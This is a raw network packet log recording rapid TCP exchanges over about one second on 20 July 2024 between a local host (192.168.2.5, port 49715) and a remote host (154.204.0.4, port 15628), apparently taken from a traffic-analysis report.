Jul 20, 2024 11:54:09.230670929 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.235713005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.235764027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.240873098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.240931988 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.245912075 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.245960951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.251141071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.251200914 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.256586075 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.256633043 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.264663935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.264719963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.272412062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.272466898 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.279879093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.279941082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.285161972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.285224915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.291008949 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.291062117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.296042919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.296093941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.301687002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.301744938 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.307297945 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.307348967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.312407017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.312462091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.318710089 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.318763018 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.323735952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.323790073 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.328845978 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.328897953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.333951950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.334006071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.339049101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.339149952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.344166040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.344213963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.349082947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.349131107 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.354077101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.354120970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.359631062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.359678030 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.366530895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.366584063 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.371452093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.371498108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.376337051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.376384020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.381211042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.381279945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.386780977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.386821985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.391658068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.391710997 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.397192001 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.397249937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.402117014 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.402163029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.407021999 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.407073975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.412127018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.412177086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.417073011 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.418685913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.423576117 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.423636913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.428702116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.428756952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.433808088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.433860064 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.438922882 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.438975096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.443830013 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.443883896 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.449095964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.449147940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.454600096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.454705000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.460370064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.460416079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.467245102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.467304945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.473165989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.473226070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.478168964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.478215933 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.483045101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.483094931 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.488348007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.488398075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.493457079 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.493510962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.498898983 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.498950958 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.503905058 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.503962994 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.508862019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.508919001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.514446974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.514488935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.520005941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.520056963 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.525055885 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.525099993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.530499935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.530551910 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.535450935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.535502911 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.540627003 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.540677071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.546983957 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.547044039 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.551938057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.552005053 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.557481050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.557542086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.570627928 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.570708990 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.575644016 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.575711012 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.580743074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.580801010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.586025000 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.586083889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.592585087 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.592638016 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.597603083 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.597659111 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.602658987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.602715015 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.608371973 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.608429909 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.623572111 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.623636961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.629499912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.629565001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.635555029 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.635613918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.642071962 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.642141104 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.664050102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.664113998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.682457924 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.684178114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.689084053 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.693048954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.701972961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.705099106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.714128017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.717061996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.724473953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.729048014 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.734292984 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.765921116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.775717020 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.775830984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.785726070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.789031982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.796534061 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.796744108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.805562973 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.805669069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.811120033 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.813056946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.818506002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.818627119 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.824457884 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.824624062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.829524994 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.829632998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.836041927 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.836189032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.843822002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.849065065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.857872963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.858061075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.865653038 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.865818024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.870822906 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.870937109 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.876352072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.876462936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.893297911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.893384933 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.899728060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.899810076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.906162024 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.906263113 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.912513018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.912627935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.919461012 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.919557095 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.924860954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.924956083 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.929987907 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.930197001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.935779095 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.936068058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.941071033 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.941190004 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.946373940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.947984934 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.954251051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.956706047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.961836100 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.961966038 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.967207909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.967396021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.972409010 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.975032091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.980561018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.981021881 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:09.996700048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:09.996844053 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.009282112 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.010397911 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.016832113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.016944885 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.024719954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.025049925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.030158043 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.032118082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.037177086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.041053057 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.047935009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.053034067 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.060000896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.065078974 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.070616007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.094947100 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.099883080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.100347996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.105416059 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.107096910 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.112010956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.112149954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.118364096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.119082928 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.124567986 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.124754906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.130551100 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.131119013 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.136374950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.136545897 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.142390013 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.143153906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.149878979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.152055025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.157644987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.157732010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.164398909 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.164582968 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.169784069 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.172988892 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.177912951 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.179102898 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.183967113 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.184070110 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.189110041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.191106081 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.197689056 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.200005054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.204875946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.209038973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.214107990 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.215106964 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.220547915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.220694065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.225586891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.225759983 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.230664015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.232992887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.237981081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.239006996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.245322943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.248048067 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.253602028 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.257150888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.262562037 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.263083935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.268395901 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.268521070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.273612976 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.275113106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.280049086 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.280172110 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.285249949 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.287043095 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.293525934 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.296091080 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.301388025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.305025101 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.314021111 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.317090988 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.321913004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.323599100 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.328542948 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.329005957 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.333836079 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.335095882 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.340065002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.340965986 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.345886946 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.347044945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.354748011 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.354871035 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.359833956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.365020037 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.370094061 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.371063948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.376454115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.376583099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.382045031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.383090973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.389071941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.392043114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.396928072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.401048899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.408684015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:10.427918911 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:10.432971001 CEST	15628	49715	154.204.0.4	192.168.2.5
